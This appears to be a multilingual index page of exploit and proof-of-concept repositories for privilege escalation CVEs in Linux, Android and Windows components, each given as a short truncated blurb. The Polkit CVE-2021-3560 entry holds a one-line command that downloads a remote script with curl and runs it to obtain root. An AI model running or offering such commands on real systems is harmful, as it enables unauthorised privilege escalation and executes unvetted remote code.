CVE-2026-41651

CVE-2026-41651 — PackageKit TOCTOU ローカル権限昇格 分類: パープルチーム評価アーティファクト 許可された用途のみ。 本書および付属のテストスクリプトは、書面による許可が得られたシステム上での内部セキュリティ検証のみを目的としています。 悪用の証明 目次 1. 脆弱性の概要 2. 技術的分析 3. テストスクリプトの説明 動作 強化環境への対応 互換性 4. 侵害の指標 ファイルシステム プロセスと実行 D-Bus アクティビティ 監査ログパターン パッケージマネージャの痕跡 権限昇格の痕跡 5. 検出ロジック 6. 影響を受けるシステムとバージョン ...

cve-2026-31431

CVE-2026-31431 « Copy Fail » — Уязвимость повреждения кэша страниц Повреждение кэша страниц ядра Linux через манипуляцию AEAD-механизмом authencesn. ⚠️ ВАЖНО: Обновление статуса эксплуатации 1 мая 2026 года После обширного тестирования на нескольких кластерах OpenShift 4.20.16 с ядрами RHEL 9.6: ✅...

GeoServer Demo Request Endpoint - Server Side Request Forgery

It is possible to achieve Server Side Request Forgery SSRF via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to...

CVE-2021-3560

CVE-2021-3560 Мгновенный эксплойт для получения root через Polkit Вы можете получить root одной командой на уязвимых системах с Polkit CVE-2021-3560, введя: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Или вы можете скачать .sh файл или скопировать и...

CVE-2023-26083

CVE-2023-26083 —— 通过时间线流泄漏 Mali GPU 内核地址 本仓库包含针对 CVE-2023-26083 的概念验证（PoC）漏洞利用代码。该漏洞位于 Mali GPU 驱动程序（Arm Mali GPU Kernel Driver）中，允许非特权用户通过时间线流（/dev/mali0）泄漏内核指针和敏感的内部信息。 漏洞概述 Mali GPU 驱动程序提供了一条“时间线流”（tlstream）功能，用于性能分析和调试。该流导出的事件包含原始内核指针（例如...

ubuntu-cve-2026-31431-mitigation

Полное руководство по обновлению ядра и kmod в Ubuntu для устранения уязвимостей безопасности CVE CVE-2026-31431 Эта уязвимость, также известная как Copy Fail, представляет собой логическую ошибку в ядре Linux, возникающую на пути AFALG / algifaead. Согласно описанию исследователя, неавторизованн...

CVE-2021-3493

CVE-2021-3493 Ubuntu OverlayFS 本地权限提升 描述 "Ubuntu 特有的问题，存在于 Linux 内核的 overlayfs 文件系统中，它未能正确验证文件系统能力在用户命名空间中的应用。本地攻击者可以利用此漏洞获取更高权限，原因是 Ubuntu 携带了一个允许非特权 overlayfs 挂载的补丁。" - Ubuntu 安全公告 已在 Linux 5.11 中修复 受影响版本 Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 19.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu...

cve-2024-31317

Исследование CVE-2024-31317 CVE-2024-31317 предоставляет непривилегированный доступ к любому uid и области SELinux, доступным обычным приложениям Android. Это обеспечивает доступ к uid 1000 system и uid 2000 shell, и может быть полностью вызвано непривилегированным приложением, что позволяет...

CVE-2020-8290

CVE-2020-8290 – Privilegieneskalation in Backblaze Zusammenfassung Name: Privilegieneskalation in Backblaze CVE: CVE-2020-8290 Entdecker: Jason Geffner Anbieter: Backblaze Produkt: Backblaze für Windows und Backblaze für macOS Risiko: Hoch Entdeckungsdatum: 2020-03-13 Veröffentlichungsdatum:...

CVE-2026-21508_POC

CVE-2026-21508 개념 증명PoC 자세한 내용은 다음을 참조하세요: https://0xc4r.github.io/posts/CVE-2026-21508 설명: 개념 증명은 간단한 배치 스크립트와 DLL 프로젝트로 구성됩니다: DLL은 DLL 하이재킹 공격을 수행하는 데 사용되며, WUDFHost.exe에 의해 로드될 때 주로 다음 작업을 수행합니다: 1. RevertToSelf를 실행하여 가장impersonation을 중지하고 권한 있는 상태로 돌아갑니다. 2. 예시로 어떤 작업을 수행합니다. 이 경우, 상승된 권한의...

CVE-2021-3560

CVE-2021-3560 Надёжный эксплойт на C для CVE-2021-3560. Краткое описание: Вчера я наткнулся на эту публикацию в блоге Кевина Бэкхауса обнаружившего эту уязвимость, я попробовал bash-команды, приведённые в статье, и, к моему удивлению, они сработали на моей машине с Kali Linux! CVE-2021-3560 — это...

CVE-2020-16938

CVE-2020-16938 CVE-2020-16938 — это уязвимость, которая позволяет непривилегированному пользователю неограниченно читать файлы со всего диска. Баг был первоначально обнаружен и сообщён моим другом Йонасом. Его PoC можно найти здесь. Моя версия эксплойта состоит из набора вызовов Windows API для...

CVE-2023-2002

Linux Bluetooth: неавторизованное выполнение управляющих команд CVE-2023-2002 В подсистеме Bluetooth ядра Linux обнаружена недостаточная проверка прав при обработке системных вызовов ioctl для сокетов HCI. Из-за этого задачи без надлежащей возможности CAPNETADMIN могут легко помечать сокеты HCI к...

ipv6_frag_escape

IPV6FRAGESCAPE Una prova di concetto affidabile di evasione da container/jail senza privilegi per CentOS / RHEL 10. Sfrutta un bug di frammentazione IPv6 ora corretto in ip6appenddata chiuso upstream da 38becddc, nessun CVE, un overflow lineare in-slab in skbsharedinfo alla coda dell'oggetto head...

CVE-2021-3493

CVE-2021-3493 Ubuntu OverlayFS स्थानीय विशेषाधिकार वृद्धि प्रभावित संस्करण Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM उपयोग gcc exploit.c -o exploit chmod +x exploit ./exploit विवरण "उबंटू-विशिष्ट समस्या लिनक्स कर्नेल में overlayfs फाइल सिस्टम में थी, जहाँ यह...

CVE-2026-46215-POC

CVE-2026-46215: DRM GEM changehandle Use-After-Free unprivileged LPE Lokale Privilegienerweiterung durch einen Use-After-Free im DRM-Core-IOCTL DRMIOCTLGEMCHANGEHANDLE drmgemchangehandleioctl, ioctl-Nr. 0xD2. Erreichbar für jeden Benutzer mit Zugriff auf einen Render-Node /dev/dri/renderD, gewähr...

cormem-read-poc

AVISO : Este projeto é apenas para fins educacionais e de pesquisa em segurança. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar. O uso não autorizado pode ser ilegal em sua jurisdição. cordrvexploit — CVE-2026-38194 Vulnerabilidade Esta ferramenta...

CVE-2025-26125

Descrizione Il programma PoC sfrutta il driver IMFForceDelete che espone un ioctl che consente agli utenti non privilegiati di eliminare file e cartelle. Possiamo trasformarlo in un'escalation dei privilegi utilizzando una tecnica spiegata da ZDI e Halov, che sfrutta il meccanismo di rollback MSI...

CVE-2020-8835

CVE-2020-8835 root@kitploit: In the Linux kernel 5.5.0 and newer, the bpf verifier kernel/bpf/verifier.c does not properly restrict the register bounds for 32-bit operations, leading to out-of-bounds reads and writes in kernel memory. This vulnerability also affects the Linux 5.4 stable series,...

CVE-2025-32463_sudo_chroot

CVE-2025-32463 - sudo chroot Utilizzo Il Dockerfile crea un ambiente di test sicuro e isolato con una versione vulnerabile di sudo 1.9.16p2 installata. Questo ti consente di testare l'exploit senza influenzare il tuo sistema host. root@kitploit: Build the vulnerable test environment docker build ...